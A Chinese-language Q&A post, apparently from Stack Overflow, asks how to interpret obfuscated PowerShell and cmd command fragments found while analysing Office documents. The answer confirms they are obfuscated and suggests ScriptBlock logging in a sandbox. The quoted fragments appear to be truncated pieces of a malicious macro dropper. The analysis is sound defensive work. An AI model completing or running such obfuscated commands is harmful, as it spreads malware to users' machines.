Office文件中的Shell或bash命令

时间:2019-02-13 18:39:09

标签: powershell ms-office

在分析文档文件时,我看到一些强大的Shell命令,例如

Execute Command - params "PowersHeLL  & ( $sHELlId[1]+$ShEllID[13]+'X')( [StRinG]::joiN( '' ,([CHaR[]] (62 , 116, 109 ,84 ,119 , 86,88 ,58,39, 58 , 116 ,127 ,109 ,55, 117,120,112, 127 ,121,110,58 ,104,123 , 116,126, 117,119, 33 ,62 , 116 ,78 ,116 , 86, 77 ,95 ,58, 39 ,58 , 116 ,127 , 109

Run - params [Function FqLHmmC ([vwPoLiLXwz]): 7 statement(s), 'cmd /c ^f^O^r ; ;  /^F , ;  "   tokens=  2   delims=EFHMN" ; %^h ;  ; ^iN  ; ( , \' ;  ft^^YpE , ; ^| ;  fiNd^^str , H^^C \' ; ; ) ; ^do  , ;  %^h;  ;  n8ZAmId/vs~*t^@^Y)PUA^     ; ;  h0XobFu/^C  "  , , (   (s^ET  ^  ^`  ^ =E=6^l2u^\\^h^s\'^y4D^w^XoWJNzL@^b^anGx, ^Ri^{f.P1+Fcme^3^v^0/jB^(krd;^}Z^)-^:tM^Sg^$^pOC)

这些如何解释?例如,我猜62 , 116, 109 ,84是十进制值。但是,将它们转换为ascii没有意义。第二个声音,例如fiNd^^str , H^^C \' ; ; ) ; ^do听起来像bash脚本。但这没有意义。

这是否意味着它们被混淆了?还是迷惑呢?!

1 个答案:

答案 0 :(得分:2)

  

这些如何解释?

好吧,它们像其他任何PowerShell代码一样被解析和解释。对于人类而言,这更难阅读。 [char]116就是这样。您可以将其键入PowerShell中并找出其含义(t的ascii代码)。

  

这是否意味着它们被混淆了?

是的

最简单的反混淆方法是运行启用的ScriptBlock logging。事件日志将揭示实际执行的内容。由于您不知道要执行什么:仅在隔离的沙盒环境中执行此操作!